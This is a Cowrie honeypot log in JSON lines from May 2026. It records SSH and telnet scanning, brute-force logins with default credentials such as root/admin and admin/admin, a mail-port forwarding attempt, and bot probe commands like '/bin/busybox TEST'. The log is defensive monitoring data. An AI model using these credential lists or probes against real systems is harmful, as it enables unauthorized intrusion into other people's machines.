{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:06.228739Z","src_ip":"103.173.227.57","session":"e79e70ff91d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:06.478389Z","src_ip":"103.173.227.57","session":"e79e70ff91d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghghgh","message":"login attempt [root/ghghgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:07.227899Z","src_ip":"103.173.227.57","session":"e79e70ff91d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:08.480279Z","src_ip":"103.173.227.57","session":"e79e70ff91d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57396,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7373c4a2720","protocol":"telnet","message":"New connection: 135.148.14.151:57396 (159.203.135.109:23) [session: a7373c4a2720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:13.225313Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33936,"dst_ip":"159.203.135.109","dst_port":23,"session":"d723295d4a3f","protocol":"telnet","message":"New connection: 135.148.14.151:33936 (159.203.135.109:23) [session: d723295d4a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:21.599696Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35176,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd16a85dbf85","protocol":"telnet","message":"New connection: 135.148.14.151:35176 (159.203.135.109:23) [session: fd16a85dbf85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:26.358372Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":34416,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b23372da765","protocol":"ssh","message":"New connection: 193.46.255.86:34416 (10.17.0.5:22) [session: 1b23372da765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:34.552833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:34.558783Z","src_ip":"193.46.255.86","session":"1b23372da765","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:34.689284Z","src_ip":"193.46.255.86","session":"1b23372da765","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:35.271058Z","src_ip":"193.46.255.86","session":"1b23372da765","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"81.19.77.166","dst_port":587,"src_ip":"193.46.255.86","src_port":22,"message":"direct-tcp connection request to 81.19.77.166:587 from 127.0.0.1:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:35.401237Z","session":"1b23372da765","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"81.19.77.166","dst_port":587,"data":"b'E'","id":0,"message":"discarded direct-tcp forward request 0 to 81.19.77.166:587 with data b'E'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:35.531516Z","src_ip":"193.46.255.86","session":"1b23372da765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:35.662731Z","src_ip":"193.46.255.86","session":"1b23372da765","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":33104,"dst_ip":"10.17.0.5","dst_port":22,"session":"c98c2155902b","protocol":"ssh","message":"New connection: 103.122.221.179:33104 (10.17.0.5:22) [session: c98c2155902b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:48.350075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:48.355134Z","src_ip":"103.122.221.179","session":"c98c2155902b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:48.612001Z","src_ip":"103.122.221.179","session":"c98c2155902b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.76005172729492,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:48.985236Z","src_ip":"135.148.14.151","session":"a7373c4a2720","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"olya","message":"login attempt [root/olya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:49.382026Z","src_ip":"103.122.221.179","session":"c98c2155902b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:50.641946Z","src_ip":"103.122.221.179","session":"c98c2155902b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.15260910987854,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:57.751960Z","src_ip":"135.148.14.151","session":"d723295d4a3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.165462017059326,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:42:01.523710Z","src_ip":"135.148.14.151","session":"fd16a85dbf85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":32822,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc2896b7fb3b","protocol":"telnet","message":"New connection: 135.148.14.151:32822 (159.203.135.109:23) [session: cc2896b7fb3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:42:22.193516Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40490,"dst_ip":"159.203.135.109","dst_port":23,"session":"89a25d4f47ca","protocol":"telnet","message":"New connection: 135.148.14.151:40490 (159.203.135.109:23) [session: 89a25d4f47ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:42:39.480397Z"}
{"eventid":"cowrie.session.closed","duration":35.91177558898926,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:42:58.105152Z","src_ip":"135.148.14.151","session":"cc2896b7fb3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.22164750099182,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:16.701945Z","src_ip":"135.148.14.151","session":"89a25d4f47ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.194.92.29","src_port":56490,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfb25e34863a","protocol":"telnet","message":"New connection: 45.194.92.29:56490 (10.17.0.5:23) [session: dfb25e34863a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:23.293326Z"}
{"eventid":"cowrie.session.closed","duration":0.00957036018371582,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:23.302762Z","src_ip":"45.194.92.29","session":"dfb25e34863a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.194.92.29","src_port":56492,"dst_ip":"10.17.0.5","dst_port":23,"session":"97dd41a64cab","protocol":"telnet","message":"New connection: 45.194.92.29:56492 (10.17.0.5:23) [session: 97dd41a64cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:23.308470Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:23.804322Z","src_ip":"45.194.92.29","session":"97dd41a64cab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.227.125.15","src_port":41250,"dst_ip":"159.203.135.109","dst_port":22,"session":"01a6c0dd1c0f","protocol":"ssh","message":"New connection: 212.227.125.15:41250 (159.203.135.109:22) [session: 01a6c0dd1c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:23.902513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:23.907314Z","src_ip":"212.227.125.15","session":"01a6c0dd1c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:23.987058Z","src_ip":"212.227.125.15","session":"01a6c0dd1c0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:24.338162Z","src_ip":"212.227.125.15","session":"01a6c0dd1c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.495668649673462,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:24.804033Z","src_ip":"45.194.92.29","session":"97dd41a64cab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.194.92.29","src_port":56500,"dst_ip":"10.17.0.5","dst_port":23,"session":"45c4da87ee4b","protocol":"telnet","message":"New connection: 45.194.92.29:56500 (10.17.0.5:23) [session: 45c4da87ee4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:24.818397Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:25.319084Z","src_ip":"45.194.92.29","session":"45c4da87ee4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:25.420630Z","src_ip":"212.227.125.15","session":"01a6c0dd1c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.5007388591766357,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:26.319003Z","src_ip":"45.194.92.29","session":"45c4da87ee4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.194.92.29","src_port":56512,"dst_ip":"10.17.0.5","dst_port":23,"session":"215e0e979208","protocol":"telnet","message":"New connection: 45.194.92.29:56512 (10.17.0.5:23) [session: 215e0e979208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:26.332089Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:26.832528Z","src_ip":"45.194.92.29","session":"215e0e979208","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:26.886920Z","src_ip":"45.194.92.29","session":"215e0e979208","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:27.832726Z","src_ip":"45.194.92.29","session":"215e0e979208","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34022,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1507baeab04","protocol":"telnet","message":"New connection: 135.148.14.151:34022 (159.203.135.109:23) [session: a1507baeab04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:27.915537Z"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:28.332839Z","src_ip":"45.194.92.29","session":"215e0e979208","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:28.932705Z","src_ip":"45.194.92.29","session":"215e0e979208","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:29.532557Z","src_ip":"45.194.92.29","session":"215e0e979208","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:29.536578Z","src_ip":"45.194.92.29","session":"215e0e979208","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.2","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:30.133391Z","src_ip":"45.194.92.29","session":"215e0e979208","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8163106441497803,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:30.148285Z","src_ip":"45.194.92.29","session":"215e0e979208","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44638,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d0a0082e837","protocol":"telnet","message":"New connection: 135.148.14.151:44638 (159.203.135.109:23) [session: 6d0a0082e837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:50.244231Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48876,"dst_ip":"159.203.135.109","dst_port":23,"session":"d15e099e0572","protocol":"telnet","message":"New connection: 135.148.14.151:48876 (159.203.135.109:23) [session: d15e099e0572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:59.253716Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":43600,"dst_ip":"159.203.135.109","dst_port":22,"session":"986b5152cc03","protocol":"ssh","message":"New connection: 94.159.98.239:43600 (159.203.135.109:22) [session: 986b5152cc03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:59.613953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:59.685500Z","src_ip":"94.159.98.239","session":"986b5152cc03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:43:59.791092Z","src_ip":"94.159.98.239","session":"986b5152cc03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"indiana","message":"login attempt [root/indiana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:44:00.580281Z","src_ip":"94.159.98.239","session":"986b5152cc03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:44:01.718187Z","src_ip":"94.159.98.239","session":"986b5152cc03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.485877990722656,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:44:02.401298Z","src_ip":"135.148.14.151","session":"a1507baeab04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59018,"dst_ip":"159.203.135.109","dst_port":23,"session":"281e4cc17980","protocol":"telnet","message":"New connection: 135.148.14.151:59018 (159.203.135.109:23) [session: 281e4cc17980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:44:20.930778Z"}
